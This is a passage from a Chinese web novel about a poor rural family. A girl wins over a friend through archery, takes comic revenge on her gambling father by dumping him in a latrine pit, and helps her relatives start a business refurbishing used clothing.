“这不是感谢你上回帮我挣钱了嘛。我买的布多,就给你做了一件。”
苏瑾目光看向苏秦放在一旁的弓箭眼中,闪过一丝羡慕:“这弓真漂亮,是新做的吧?”
苏秦点点头,有些骄傲地举起弓:“这把弓是我爹才给我做的,上回去县城,他就是去买做弓的材料。这弓弦还是牛筋做的,可好用了。”
“给你试试。”苏秦大方的把新弓递给苏瑾。
“好。”
苏瑾接过弓,取了一支箭搭上。
“咻。”正中靶心。
看着靶心上的箭,苏秦赞到;“你箭术也不错。”
“这弓不错。”苏瑾有些遗憾的说:“可惜我爷爷做不出这样的弓,要不然我也去找一块好料子回去做。”
苏秦看她这样子,犹豫了一下,开口道:“这把弓送你了。就当是回礼。”
苏瑾的眼睛瞬间睁大,慌忙把手里的弓还给苏秦:“不不不,我送你衣服是为了感谢你上次陪我一起进山猎到猎物的,咱们已经扯平了。这把弓是你爹专门给你做的,你还是留在自己用吧。”
苏秦固执的把弓递到苏瑾面前:“我们现在算朋友吗?”
嗯……苏瑾迟疑的说:“算吧……”
“既然是朋友,我送你礼物你是不是该收下?”苏秦向前一步,几乎把弓塞到苏瑾怀里。
寒风吹得人打颤,苏瑾咬着下唇,眼中挣扎之色明显。爷爷手艺不够,家里那情况,马上要给堂姐办婚礼,堂姐的事完了,紧接着就是大堂哥,哪里有多余的钱给自己买弓?
她最终还是把弓推开:“这弓是你爹对你的心意,我不能收。”
“是朋友就拿着。”苏秦不由分说地把弓塞进苏瑾手里。
苏瑾捧着弓,神情复杂:“好吧,谢谢你的礼物。”
苏瑾心里暗道:这下苏三伯更不喜欢她了!
“放心吧,我爹准备的材料还能再做一把新的弓,你不用多想。”苏秦笑道,把带着腰带的箭筒递给苏瑾:“来吧,多试试新弓箭。”
“好。”
苏秦帮她把箭筒绑在腰上。
正经弓果然手感更好,苏瑾深吸一口气站着射击线上。调整姿势准备练习。
苏秦惊讶的发现,她的站姿与父亲教他的略有不同,却似乎更加沉稳。
苏瑾调整好气息,随即拉弓放箭。箭矢如流星般划过空中,正中靶心,甚至比苏秦刚才的箭扎得更深。
苏瑾动作不断,不等苏秦反应过来,她已经将箭筒中的箭全数射出。
靶场里总共三个箭靶,现在全部被箭插满。
“这……这……”苏秦目瞪口呆的看着空了的箭筒和满靶的箭矢,舌头像打结了一般。
苏瑾有些不好意思地放下弓:“一时兴起。”箭靶全是箭,得重新扎了。
“没想到你小小年纪竟然这么厉害!”苏秦终于捋直了舌头,眼中满是敬佩,“你从哪学来的这种射法?我只见过我爹这样射过。”
苏瑾眼神闪烁了一下,一本正经的说:“我这不是凑巧见过苏三伯这样射嘛,我偷学的。”
“你简直是天生的神射手!”苏瑾偷学都学得会,他爹手把手教他,他都还磕磕跘跘的。
苏瑾这么顺畅,一定有什么技巧,苏秦兴奋的说:“你能教教我吗?刚刚射击的那种技巧。”
“好啊。”苏瑾笑着回答。
接下来的时间里,两个人一个教一个学,完全忘记了时间的流逝。苏秦发现,苏瑾不仅箭术高超,教起人来,也很有耐心。而且十分有见解,总能一针见血地指出他的问题所在。
而苏瑾则被苏秦的学习热情所感染,渐渐放下防备,倾囊相授。
“前后脚要在一条线上……对,就是这样。”苏瑾给他做示范,“上一箭射出后,弓立马回到腹前。”
苏瑾举起自己的手让他看清楚:“手摸到箭以后,用滑的方式把箭抵到弦上,然后快速把箭射出去。像这样……”苏瑾把动作做了一遍。
苏秦按照她教的方式射了两箭,速度果然快了许多。
“真的有用!”他激动的转身,弓一下子砸到苏瑾头上。
“嗷!”苏瑾捂着脑袋蹲下。
“对不起,对不起。”苏秦扔了弓,把人扶起来,“你怎么样,严重吗?”
“没事。”苏瑾站得离他远了一些,对他说:“你再练练,有什么不懂的再问我。”
“你真的没事吧?”苏秦有点担心,自己刚才没收力,肯定很痛。
“真的没事。”苏瑾摆手,让他赶紧练。
“那我去那边练习了。”苏秦走远一点,避免再发生这种意外。
苏瑾重新扎了两个箭靶,把被射得稀烂的箭靶替换下来。
“苏秦,你到这边来练吧,我重新换上箭靶了。”
“来了。”苏秦这边的箭靶也被射满了。
苏秦有底子在,她教了几遍,苏秦直接掌握了技巧。看,他腰上的箭筒又被清空了。
苏瑾费力把箭才箭靶上拔下来,把箭送过去给他。
“你学得真快。”苏瑾把箭放进箭筒,由衷地赞到。
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苏秦摇摇头:“是你教得好。我爹教我好几次我没学会,他就换了其他的教,没你有耐心。”他犹豫了一下,“以后……你还能再过来教我箭术吗?”
苏瑾看了一眼苏秦送的弓,笑着说:“可以啊,只要到时候你不嫌我烦人就好。”
“怎么会!”苏秦脱口而出,随即有些不好意思地补充,“我是说,能有你这样的‘小师傅’指点,是我的运气。”
苏瑾噗嗤一笑:“‘小师傅’?我比你还小几岁呢。”
“达者为师嘛。”苏秦也笑了。
“天色不早了,我该回去了。”苏瑾将弓小心的背在背上,动作轻柔得像对待珍宝。
苏秦仰头看了看,确实不早了:“你等我一下 ”他把马甲搭在手上,把包袱皮还给苏瑾。
“这个你拿回去,没准还能再做一件衣服。”苏秦话语真诚,丝毫没有瞧不起苏瑾的意思
苏瑾接过包袱皮,和他道别:“那我就先回去了 ”
“行。我还要收拾箭靶和箭,就不送你了。”苏秦指着靶场里面说。
“没事,你快去弄吧,别等一下天黑了看不清楚。”苏瑾无所谓的摆手。
回家吃完饭,苏瑾刚想去洗碗就被老爷子叫住了:“瑾丫头,你坐下 。”
看老爷子严肃的样子,苏瑾疑惑的问:“爷爷,有什么事吗?”难道是打猎事发了?苏瑾扭头看向知情的两个人。
英恒和苏芸心虚的背过身去。
得了,看他们的样子就知道是什么回事了。
“我听你堂姐和你弟弟说,你偷偷跑山里打猎了?”老爷子气死了,这孩子,一点也不把自己的安危放心上。要不是遇到苏秦,她说不定就有个好歹。
苏瑾老实坐好,做出虚心认错的样子:“爷爷我错了。”下次还敢。
看她这样子,老爷子训人的话都不好说出口。
“哎!要不是我没管好你爹,你也不用小小年纪就拿命去搏。”老爷子自责的说,“如果不是我做主把苏志远送去县里读书,也许他就不会染上恶习。”
“若是后来他屡屡偷盗家中财物,我能壮士断腕,家里现在也不会这么困难!”
老爷子叹着气,步履蹒跚的回房。老太太怕他心里多想,紧跟着进去劝他。
苏瑾手足无措,不是有教训她吗?怎么一下子变成怎么沉重?
苏瑾拿眼去看她娘,她娘坐在角落里也是情绪低落的样子。
惠娘今天听到儿子说女儿跑山里猎了鸡兔去卖钱买布给她们做衣服,心里又是后怕,又是自责。
“姐,我不是故意的。”英恒搅着手过来,都没敢看他姐的脸色。
姐姐那么辛苦挣钱,自己一转背就说漏了嘴,他真的不是故意的。
苏芸也磨磨蹭蹭的摸过来,小声的说:“阿瑾,对不起。”
“没事。”苏瑾安慰两人,自己心里反而沉甸甸的。苏家的人都很好,和那些人不一样,自己不该让他们担心。
既然大家都知道了,苏瑾就不再遮掩,把已经分开裁剪好的布料分给各房自己做。
另外两房收了布料,更卖力的找活干。
“阿瑾……”惠娘眼里含着泪,紧握着手里的布料说不出话来。
“娘,我们是一家人,我也想为家里做点什么。只是方法不对,让大家担心了。”
9. 收拾渣爹
惠娘哭了一夜,眼睛肿得像桃子。苏瑾不知道如何安慰她,只能陪在她身边小心照顾。
转眼到了腊二十八这天。北风卷着雪粒子呼啸,天色阴沉得像要塌下来。
这马上要过年了,最后一场赶集,村里人冒着风雪外出采买年货,望着忙了一年,能吃点好的
苏志远缩着脖子,两手拽紧了身上的蓑衣,埋头在雪地里赶路。
他蓑衣下面只着单薄的里衣,冻得一身青紫。脚上的布鞋套在不合套的草鞋里,大脚趾冒出头来和大家打招呼。
“斯哈,斯哈”苏志远不断往手里哈气,可惜这一丁点的热才出来就给冻没了,根本不起作用。
提着点心的大娘置办年货回来,眼尖看到后面狼狈不堪的苏志远,笑问:“这不是苏家老三吗?大冷天的,你怎么穿这么少?”
苏志远低着头加快脚步,假装没听见。可大娘的大嗓门已经引来其他人的目光。
“你看苏家老幺,一看就是赌钱赌得衣服裤子都输干净了!”
“啧啧,我看他那样子是当奸夫给人家正主抓了。”说话的才帮着好兄弟抓了回绿帽,看谁都像这码子事。
人群里爆发一阵哄笑。
“你别这么说,他是赌钱赌了这么些年,可也没听谁张扬他有那门子龌龊。”
苏志远脸上火辣辣的,不知道是冻的还是气的。他确实才从赌坊出来。快过年了,不好再待在朋友家。他本想着马上过年了,去赌坊搏点彩回去买点东西哄哄爹娘,好歹有个地方落脚,谁想到上了桌子,没几下就把钱输光了,还倒欠一笔钱。
这些人议论纷纷,苏志远差点没给冻死了,硬是没人可怜他,借两件衣服给他暖暖。
好不容易到了家门口,苏志远哆哆嗦嗦拍着门:“开门,是我,苏志远。”
半天了也没来个人给他开门。
院里静悄悄的,只有风卷着雪粒子在空中打转。他又拍了几下,冻僵了的手差点没痛死他。
“这群丧良心的!”他咒骂着。
实在是冷得没办法,他挪动冻僵了的双腿,绕到旁边菜园子里,费力把围栏弄开进去。
苏志远艰难走进伙房取暖。他才进屋,屋里众人捡柴的拿柴刀麻绳走了;要准备晚饭的背着箩筐去割菜,大家像躲瘟神一样,一瞬间走得一干二净。
“大哥、二哥!”他喊着,回应他的只有“砰”的关门声。
老两口身体愈发坏了,每日只窝在房间里。苏瑾把爷爷奶奶房里的火盆端出来倒掉,将火坑里燃得正旺的火碳挑出来放火盆里。
“还是我姑娘好,知道体贴老子。”苏志远还以为苏瑾是给他烧火盆,巴巴的蹲火盆边上。
烤?烤你大爷的!苏瑾冷冷的看了他一眼,加快速度把红碳能挑的都挑了。
挑完碳,她舀了碗水灌嘴里,对着冒细烟的干柴“噗”的一下,看烟气不够大,她还多喷了两口,完事了把火盆一端,迅速溜去爷爷奶奶的房间。
“你个欠揍死丫头,咳咳!”苏志远被呛得直咳嗽,想追上去打人,那想到女儿钻到爹娘房间里,“啪”的把门关了!
不好当着老父老母的面收拾讨嫌女儿,苏志远憋着气回房睡觉:“死丫头,最好在里面别出来,不然老子找着机会了,看我不揍死你!诶呦!”
苏志远叨叨着进屋,一个没注意,脚趾头磕在床脚上,疼得他一脸扭曲,捂着受伤的那只脚跳脚。
苏志远躺床上想到自己输的钱,恨恨的想:“赌坊一定是出千了。”
等过完年,他再弄点钱,换个赌坊,一定把输掉的钱全部都赢回来。
晚饭熟了,苏瑾分了餐准备送到爷爷奶奶房里。
上午苏志远还叫嚣着要收拾苏瑾,一觉起来,他见女儿端了饭食往自家爹娘房间去,赶紧凑过去接了托盘。
“阿瑾啊,让爹来。”苏志远扯着笑,不由分说的夺了托盘,“你快回去吃饭吧。”
苏瑾一头问号,早上不是要揍她吗?这么一会儿就变孝子慈父了?
苏瑾警惕的看着他:“你有打什么主意?”
“瞧你说的,爹孝敬你爷爷奶奶不是应该的?”苏志远笑得眼睛眯成一条线,眼里全是算计。
人家要尽孝,自己还能拦着不成?苏瑾没再多问,转身去伙房吃饭。
苏芸吃完饭,揭开火坑上吊着的锅,看水热了没有。老人家晚上睡觉脚凉,泡泡脚再睡就要好很多。她拿脚盆舀了热水,准备给爷爷奶奶送去。
苏志远看侄女端着水要走,忙放下扒了一半的饭,接了脚盆,争着去孝敬父母。
不对劲,很不对劲。怎么感觉渣爹一天到晚想着往爷爷奶奶房里钻呢?难道是想在没人知道的情况下“拿”点什么东西?
苏志远回来,苏瑾怀疑他内里存着坏,又不知道他到底要干什么,翻来覆去睡不着。
到了半夜,苏瑾好不容易有了睡意,睡得迷迷瞪瞪的就听到隔壁传来响动。
苏志远拍了媳妇两下:“惠娘,起来给我点个灯,我要去茅厕。”
苏瑾睡意消散。苏志远,你是没有手没有脚吗?自己不会点灯,折腾我娘干什么?
“看我怎么教训你。”
苏志远把灯笼放在地上,搁茅厕里面吹着口哨放水。
苏瑾起身,小心转到苏志远身后不远处。那里横放着几根晒干了准备拿来修缮伙房的木材。
从她这里往茅厕那边去,刚好是个斜坡。村里的茅厕是用几根胳膊一样粗的树干,像搭简易帐篷似的搭建而成,并未多加固定,若是被什么大的东西碰着了,必垮无疑。
苏瑾眼神闪过狠绝,她挪开支着木材的石头,狠狠推了木材一把。木材滚动着冲出去。
“救命啊!”苏志远惨叫一声,跟着木头掉到粪坑里。
苏瑾佯装匆匆赶来,一边拿竹竿把他往茅坑里怼,一边大叫着:“快来人啊!我爹掉茅坑里了!”
她心里全是幸灾乐祸,奋力阻止渣男爬上来。
农家建的茅厕都是一人多高的,苏志远掉下去想借着横七竖八的棍棒木头爬出来,几次撑起半个身子,又被苏瑾瞅着机会怼了回去,直接腌入味了!
全家被两人的尖叫惊醒,胡乱套了衣服跑出来。
最先跑过来的苏老大和苏老二看着泡在粪坑里的苏志远,不约而同的后退两步。
“这……这也太恶心了。”苏志强捏着鼻子,一脸嫌恶。
苏志兴举着灯笼,叹了口气,无奈的说:“老三,你怎么手这么欠啊?你把茅厕弄垮了,让大家怎
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么办?”
苏志远在粪水里扑腾,嘴里不干不净的乱骂着。
苏瑾丢了竹竿和伯父们站一块,冷眼看着着他。
三人站了半天没人愿意伸手捞人,徒留苏志远一个人唱独角戏。
老两口互相搀扶过来,见儿子倒腾得快没力气,要溜进粪坑里去了,到底是自己生的儿子,老两口想也没想就要去拉。
苏老大、苏老二是孝子,那能让爹娘沾了污秽?各自让自家媳妇扶着爹娘,他们兄弟俩忍着恶心把苏志远提溜出来。
苏志远身上的味儿实在是太恶心,熏得众人干呕。苏瑾快人一步,跑伙房里提了一大桶水,照着苏志远兜头淋下。
“嘶……”苏志远冻得打颤。
苏志远这浑身污秽,让苏瑾一连泼了三桶水才冲干净。
“老大,火坑里埋着锅,这会子还是热的,你快扶你兄弟去泡泡热水,别让他冻伤了。”吩咐完大儿子,老爷子又指使二儿去找大夫开几副驱寒药,熬给小儿子喝。
苏志强心里埋汰,偏偏老子放话了,他强忍着不适去扶苏志远。
其他人回去睡觉,苏瑾和惠娘在伙房给苏志远烧水。
看着跳跃的火苗,苏瑾在心里默默的说:“苏瑾,你看到了吗?我给你出气了。”
折腾了大半宿,直到天光大亮,苏志远才喝上药回房,其他人才得回去睡。
英恒被尿憋得不行,野放回来,正好看到姐姐准备回房,他赶忙跑过去。
“姐,下回你要整那个坏家伙,记得带上我,我给你帮忙。”苏英恒的房间离茅厕近,早在苏志远嚎了第一声,他就给吓醒了。别人看没看到不知道,他可是看得真真的。他姐那竹竿妙啊!把那坏家伙压在茅坑里死死的。
苏瑾坐起来认真的看着弟弟的眼睛,严肃的:“你胡说八道什么?我整谁了?苏志远自己运气不好倒大霉了,我好心去救他,哪里就是整他了?”
我嘞了个去,还以为这事干得干净,没想到还跑出来一个目击证人,不知道其他人知不知道?苏瑾心虚的想,可别捅到爷爷奶奶目前去,把他们两个老人家气着。
“我懂,我懂。”英恒做捂嘴捂眼状,“我什么都没看见,自然也什么都不会说。”
臭小子还挺机灵,苏瑾戳了戳弟弟的脑袋,让他赶紧回去睡觉。这大冷天的,别冻生病了!
新年前一天,得扫尘。一家人因为苏志远的事,睡到大中午才起来。
苏瑾和苏芸分到洗祭祖器具的活,两人抬着一大堆东西到河边洗,苏芸见四下没人,伸出大拇指夸堂妹:“阿瑾你胆子真大,连你爹都敢收拾。”
苏瑾呆了,不是怎么一个两个都知道了?
“堂姐,你们不会都知道了吧?”
“除了爷爷奶奶,我们都看见你拿竹竿把三叔往茅坑里推。”
完蛋了!苏瑾扶额。
头一回干坏事,还以为天衣无缝,谁知道竟然有这么多人知道!这一个两个都不是嘴巴严实的,爷爷奶奶迟早会知道。
才说的不让他们伤心的!苏瑾低着头心里难受。
“放心吧,大家早就想收拾三叔一顿了,不会怪你的。”苏芸看出堂妹的担忧,安慰她说。
苏瑾扯了个难看的笑,但愿吧!
10. 制裁渣爹
要说呢,人比人气死人。这大冷天的,谁像苏志远这样被冻了那么久,还被泼了几桶冷水,不在床上躺个十天半个月,那都好不了。谁知道苏志远是个什么成分,竟然连烧都没烧过,就只是有点流鼻涕。
苏志远一反常态,对老爷子老太太殷勤不已,不过苏瑾看,她爷爷奶奶似乎并不受用,好像也在防备渣爹。
“老三啊,你去帮你媳妇做事,别老是往这房里钻,我和你娘有孩子们照看就够了。”苏志远又一次要进老爷子的房间,被老爷子拦在了外面。
“爹,我这不是知道错了,您就让我好好孝敬孝敬您和娘,不然啊,我这心里难受。”苏志远说得好听,眼睛不住乱瞅。
老爷子把门带上,阻挡了儿子心怀鬼胎的视线。
“你要真孝顺我们,就老实去干活,少一天想些乱七八糟的。”
老爷子态度强硬,苏志远看再说下去,说不一定老爷子就要发火了,忙把洗脸水递过去。
“我这就去。”他向来是等着吃饭的,哪里肯伸手干活?在家里这里站站,那里站站,见老爷子回房了,就偷摸回去睡回笼觉。
“哎?我爹刚刚不是在这吗?怎么这么一会儿就不见了?”英恒抓了鸡来,打算叫他爹杀鸡。没想到才转过身,人就没了。
苏芸指了指三叔的房间:“啰,我看见他进屋去了。”
英恒提着鸡脚脚去敲门:“爹,你快出来杀鸡。爹……”敲了半天,也没见苏志远开门,英恒只能去找二伯。
“二伯,你先把鸡杀了吧。水都烧开了。”
苏志兴接过大公鸡,让自家姑娘拿碗盐水来:“阿芸,拿碗来接鸡血。”
“哦,来了。”苏芸去伙房拿了个海碗,倒了点盐巴进去调味。
“英恒,你过去一点,免得鸡血溅到身上。”苏志兴揪掉鸡脖子上的毛,让女儿抓紧鸡脚鸡翅膀,免得等一下下刀,鸡挣扎起来伤着自己。
英恒远远看着最后一滴血滴完,二伯把鸡提到一边浇热水拔毛。他赶紧去把鸡血端走。
“娘,我不要吃凉拌鸡血,你快把鸡血煮熟,免得等一下伯伯们把盐须小葱丢到鸡血里面。”凉拌鸡血血糊糊的,英恒不敢吃。
惠娘看着还没凝固的鸡血笑了,给儿子说:“阿恒,这鸡血都没冻好,还不可以煮。你要是怕别人把它做成凉拌的,就先把鸡血端你房间里去。可以煮的时候,我再叫你端出来。”
“好吧。”英恒偷偷摸摸避开两位伯伯,把鸡血端回房间。
苏瑾看他怪模怪样,好奇问她娘:“娘,英恒干嘛呢?奇奇怪怪的。”
惠娘笑说:“他怕吃生血,叫我赶紧把鸡血煮熟。那血才接的,那能煮?我让他先把鸡血放自己房间。”
吃生血?苏瑾抖了一下。她也不敢吃,老弟干得好。
年夜饭做了满满一大桌,一大家子热热闹闹过年。
在英恒的努力下,鸡血成功变成了白菜鸡血汤。汤还可以,最起码比生血强多了。
大年初二,苏志强、苏志兴两房全家出动,带着礼信走娘家。
真是左手一只鸡,右手一只鸭,背上还有一个胖娃娃。苏瑾羡慕的看着他们出门。
苏瑾外婆家去年在一场洪水之中全部没了,惠娘没婆家可回,带孩子们在家陪公婆。
“大过年的,在家有什么意思?你们都去玩吧,注意安全就好。”这两天村里有玩闹用的赌局,苏志远装了几天没忍住又去赌。老爷子心情不好,打发苏瑾她们去玩。
苏秦家有没有出去拜年,英恒继承了姐姐的旧弓,想去找他玩:“姐姐,我们去找苏秦哥射箭吧。”
家里也没什么消遣的,就是干坐着听奶奶讲古,苏瑾坐得屁股都要变成方的了,听到弟弟的建议,很愉快的答应。
“爷爷,我们去苏三伯家玩了。”报备了去向,苏瑾带着两个弟弟去找苏秦。
妯娌们都回娘家了,就自己没有家了,惠娘心里难受,安静在家照顾公婆。
“苏秦哥,你在不在家?”苏瑾拍门。
“在。”苏秦打开门让三姐弟进屋。
火坑边没人,苏瑾好奇的问:“苏三伯不在家吗?”
“没呢,去看我娘和爷爷奶奶了。”自从爷爷奶奶去世,家里每年过年都冷冷清清的。过完年,爹还要去娘和爷爷奶奶那里守几天。自己想去,爹怕他受寒,不让。
说到人家伤心事,苏瑾尴尬的扯开话题:“我们来找你射箭的,怎么样?去玩去。”
“行。”苏秦取了火盆过来取碳,和她们一起去靶场。
“好!”英杰还小,被强制在边上烤火。看哥哥姐姐一箭又一箭射到靶子上,他兴奋的鼓掌。
晚上回去,两房已经回来了,苏芸头上还插了两根新簪子。
苏芸把堂妹拉到一边,把一个小小的葫芦吊坠放到她手里。
“阿瑾,拿着。”
“这是什么啊?”苏瑾看向手心,竟然是一个银的小葫芦。
“怎么会想到给我这个?”受渣爹迫害,二房也没有多少钱。这小葫芦怕不是二伯他们打工挣的工钱。
苏瑾把东西还给堂姐:“你们也没多少钱,我还小,给我我没两天就弄丢了,那多可惜?你还是自己收着吧。”
“拿着吧,这是我娘特意托我舅妈去打的。”苏芸把葫芦又塞给她,“你给我们一家准备了一件衣服,这回我们回去,我外婆他们都高兴。这是我娘的心意,你可不能不收。”
长者赐,不可辞。苏瑾收了银葫芦,想着等堂姐出嫁的时候当添妆还回去:“那我就厚着脸皮收下了。”
晚上苏瑾准备关门睡觉,她娘过来,递给她两只耳坠子:“这是你大伯母给的,怕你不收,送我这来了。”
苏瑾眼晕,怎么这一个两个的都给她送东西?没办法,她都收了二伯母的了,哪能不收大伯母的?
“娘,你替我谢谢大伯母。”
“嗯。”
苏志远半夜三更才醉醺醺的回来,可能是又输了,在房间里骂惠娘不旺夫,碍他财运。
别人家的丈夫都知道体贴妻子辛苦,就她家这个是个混蛋。惠娘气得和苏志远打了起来。
动静大了,一家人起来劝架。
“苏志远,你个臭不要脸的。你女儿被你害得小小年纪就拿命去换钱,你倒好,扶不上墙的烂泥。”惠娘挣脱妯娌的手,又抓了苏志远脸上两道血痕。
苏志远跳起来要还手,被老爷子兜头甩了两大巴掌。
“你这个逆子,把家里搅得不得安宁。”老爷子
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心里愧对家人,提了棍子把苏志远一顿好打。
没人拦着,苏志远被打得“嗷嗷”直叫唤:“爹,我错了。你别打了,再打我就要死了!”
老爷子打得没了力气,丢了棍棒,让老大老二把人关柴房去。
老爷子对好赌还残忍伤害家人的三子已经完全失望。躺在床上一会儿翻这边,一会儿翻那边,没个消停。
“老头子,你别动了,被窝都给你弄冷了!”冷风直往被窝里钻,冻得老太太一身鸡皮疙瘩。忍了半天,身边的人还是翻来覆去的,老太太出声制止。
“我知道了,你快睡吧。”
不能再放任老三这样下去了。老爷子本来打算过了元宵节才处置三儿,就他这个鬼德行,根本等不了到那天。
芸丫头的未婚夫——刘辉,托人来说,正月初五要来拜年,不能让儿子捣乱,毁了孙女的亲事。
吃了早饭,老爷子把大儿二儿叫到房间里来,说了自己的打算。
“我年纪大了,也没几年了。如今孙子孙女都到了要成家立业的年纪,我不能放任老三祸害家里。”老爷子说,“我打算把他关在家里戒赌。”
苏志强苏志兴眼里迸出光芒。弟弟赌博害家里一年比一年难过,要是能把好赌的性子改了,家里日子肯定能慢慢好起来
“这样,你们先去给惠娘说,让她搬到瑾丫头房里去,把房间腾出来给老三。”
“知道了爹。”两兄弟高高兴兴的去准备。
要是三弟从此改邪归正,对大家都好。
惠娘把自己的东西全部搬得女儿房间,一个屋子,最后只剩下铺盖卷。
按照老爷子的指示,苏志强两兄弟把窗子钉死,把弟弟从柴房拉出来扔进去。
“你们放我出去,放我出去。”门被锁了,窗子也打不开。屋里除了铺盖就是墙脚的尿桶,苏志远找不到东西撬门,趴在门上大喊大叫。
大家缩在伙房烤火取暖,没人管他。英杰年纪小,被他爹弄出来霹雳乓啷的声音吓住,眼泪巴拉巴拉往下掉。
“娘,我怕。”
惠娘把幼子搂着怀里轻轻安慰着。
苏志强两兄弟负责给苏志远送水送饭倒尿桶。门才开,苏志远就像炮弹一样冲出来。
苏志强被撞翻,苏志远也跟着摔在地上。他还想逃跑,被苏志兴一把抓住丢回房间。
“苏志强苏志兴,我可是你们的亲弟弟,你们不能这么对我!”苏志远面目狰狞的透过门缝大骂,“你们囚禁我,和土匪有什么区别?”
不仅是阿芸的婚事被苏志远搅黄了,他家大儿也黄了一门好亲。苏志强憋着气,用力拉过门砸了苏志远扒拉在门框上的手。
“苏志远,你做个人吧!家里给你弄得就差没卖房卖地,你还想怎么祸害家里?”
两兄弟收拾了一地残渣,气得连晚饭都没给苏志远送。
中午的饭被他打翻了没吃上,晚饭连个影子都没见着。苏志远饿了一天,总算是消停了。
“阿瑾,你说你爹他能改好吗?”惠娘问。
“不知道。”狗改不了吃屎,只要把他放出来,说不一定又去赌。
次日一早,老爷子吩咐大儿二儿把人绑起来堵上嘴,免得一会儿刘辉来了,听到什么动静不好。
11. 生意兴隆
刘家对这门亲事挺在意,刘父刘母听儿子说苏家丫头女工好,刘辉又是学做衣服的,不如就送几匹布做礼信,小男女以后也好有个借口多见面。
老爷子看到布匹,想到刘辉就是学做衣裳的,立刻明白了其中的深意。
他对刘辉说:“孙女婿,你是专门做这个的,不如就用在布传授我几个孙女一点技巧,让她们跟你学习学习。”
刘辉不好意思的说:“我这还没出师呢,怕教不好。”
老爷子摆摆手:“诶,你谦虚了,我相信你的手艺。”
“那我就听老爷子的。”刘辉对苏芸几个作揖,红着脸说,“那我就献丑了。”
刚开始,苏瑾还老老实实跟着学,看长辈们一个个找借口离开,她也“啊哟”一声:“堂姐,刘家哥哥,我肚子疼,你们继续,不用管我。”
苏芸看她都弯成虾子了,担心的说:“阿瑾,你要不要紧,要不要去看大夫?”说着,就放了针线要来扶苏瑾。
我是要给你们创造一点独处的空间,你走了,刘辉的心思不就白费了?
苏瑾赶紧站直了一点,摆着手说:“没事没事,我就是吃坏肚子了,过一会儿就好了。堂姐,刘家哥哥特意上门,你好生招待,我先走了。”说完,苏瑾赶紧跑开。
苏芸意会堂妹的意思,红着脸坐回去请教刘辉门襟的做法。
苏瑾出来,看见一院子的人装模作样的做事,眼睛不住往开着门的伙房瞅。
“啧啧。”体贴的长辈们,真可爱。
刘辉走后,苏瑾把没做完的衣服拿过来和堂姐一起做。一家人都在,黄月英看着苏瑾手里的布片发呆。
“想什么呢?”苏志强推了推妻子,顺着她的视线看去。不就是缝衣裳吗?有这么好看吗?都看好一会儿了。
黄月英想了想说:“现在家家户户都有几个闲钱。阿瑾买的这个碎布便宜,二十文就能做一件上衣,这要是在市面上,得花四十文才买得到一件旧衣,我是想……”大家都看着自己,黄月英说:“不如我们多买些碎布回来,做成衣服拿去卖?”
老爷子盘算了一下,二十文的布就能做出一件上衣,旧衣都值四十文,他们这个可是新的,那不得值更多钱?
“我看行。只是买旧衣的都是穷苦人家,咱们做的衣服可是新的,那价钱也就提上去了,会有人买吗?”老爷子说。
苏志兴接了父亲的话头:“没新布做衣服,最便宜的粗麻布,一匹就得一百二十五钱,一匹布就只能做一套短打。像八稯布、九稯布这样质量较好的麻布,一匹就得二百三十钱到三百三十钱。”
“阿瑾买的碎布各式各样的,好的比麻料的强多了,差的也就是粗麻。咱们要是做成成衣去卖,按照款式料子定价,定得和布匹价格差不多,我想,那些想买布做衣服的,看到有成衣和布匹价格差不多,肯定更愿意买成衣。”
苏志强拍手,“是啊!”他也发表自己的意见,“这买布料就是为了做衣服,这成衣和布匹价格差不多,谁不乐意买?还省了针线,费时间做呢!”
苏瑾认真听完大家说的,说出自己的想法:“这碎布也不是很容易买到,都是看机缘。”
她解释说:“一个布庄或是成衣铺子有碎布,那是有人来定做衣服才裁下来的碎布。做得起衣服的,一个县里就那么些人,而且这衣服又不是天天做,那能有那么多碎布?”
惠娘也说:“碎布也不是我们一家买,其他人也不是傻的,看见了,也愿意花钱买。”
没布怎么做衣服?一家子冷静下来。
苏瑾这时又继续说:“二伯母不是给堂姐买过旧衣吗?碎布紧俏,咱们可以从收旧衣服的人手里拿货,把旧衣服拿回来翻新啊。”
苗金凤激动的说:“对对对,我把这茬忘了。市面上卖旧衣的,多是拿衣服回去随便洗洗就挂到摊子上卖了,连缝补都未曾。做衣服翻新的我还没看到呢!阿瑾说的这个,我觉得有门。”
有了计划,苏志强过元宵节,就带着弟弟去县里找收旧衣服的。也是怪了,偶尔来一次县里,总有那么几次碰见收旧衣服的,怎么他们专程来找,反而找不到人了?
该上哪里找专门收旧衣服的人?苏志强两兄弟去城里转了两圈都没找着,有些泄气的回来。
“在县城到处找了,没找着二道手贩子。专卖旧衣的的倒是不少,只是根本就不愿意大量卖给我们。就算是要卖,价格也没少多少。这样的咱们拿回来,算上浆洗缝补的功夫,也挣不到两个钱。”
“没事,再多找几个地方,总能找到的。”老爷子心态好,给儿子们鼓鼓劲。
“行吧,我和老二再跑两趟。”苏志强打起精神,又和苏志兴往城里跑。
一鼓作气,再而衰,三而竭。跑了几趟都没联系上收旧衣服的二道手贩子,一家人都泄气了。
苏瑾带着弟弟去找苏秦练箭,闲话间聊起这事,苏秦说:“你该早点给我说,我爹有个朋友就是干这个的。你等着,我去问问我爹,看能不能帮你们搭个线。”
苏瑾眼睛都亮了:“那太好了。多谢了!”
她拉着苏秦连连道谢,把苏秦都整不好意思了。
天色不早了,苏瑾和英恒和苏秦道别。苏秦回去求了他爹,苏三自从知道儿子跟苏家那姑娘学会了速射,倒也不再门缝里看人。这事不过是跑一趟,即帮他的兄弟多一条销路,又能得苏家一个人情。
他第二天一早就去苏家喊上苏志强,和他一起去县里。
苏三带苏志强去朋友家,苏志强把自己的想法说了,卖旧衣的和苏三歪一边嘀嘀咕咕好一阵,才答应把衣服卖给他。
“苏老哥,你这面子可真不小。”苏志强看着眼前小山一样的衣服,惊讶得合不拢嘴。
苏三笑着说:“都是熟人。我兄弟做这一行十几年了,专收各处的旧衣服往最北边卖,你们要的量对他来说,不算什么。”
旧衣老板是个壮硕的汉子,他拍着一只大麻袋装好旧衣服说:“既然是老苏介绍的,我也不喊价。这一包衣服有三百件,按照一件二十钱算,我另外再送你五十件破得厉害的。如何?”
苏志强心里一盘算,这价格很是可以,他就算拿回去洗了就卖,价格最起码能翻一倍。只是……苏志强让老板等等,他拉着苏三去了外面。
“苏老哥,我这带的钱不够,你看你能不
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能先借我点钱,等我回去把衣服打理好卖了,就把钱还你。”怕他担心家里的情况还不上,苏志强赶紧接着说,“你放心,我回去就把两亩上等田的地契给你拿过去。要是这钱我还不上,这地你就拿去。”
苏三不差钱。大家都是一个村的,苏家除了出了个好赌的,其他人都不错,这钱借了也不怕。
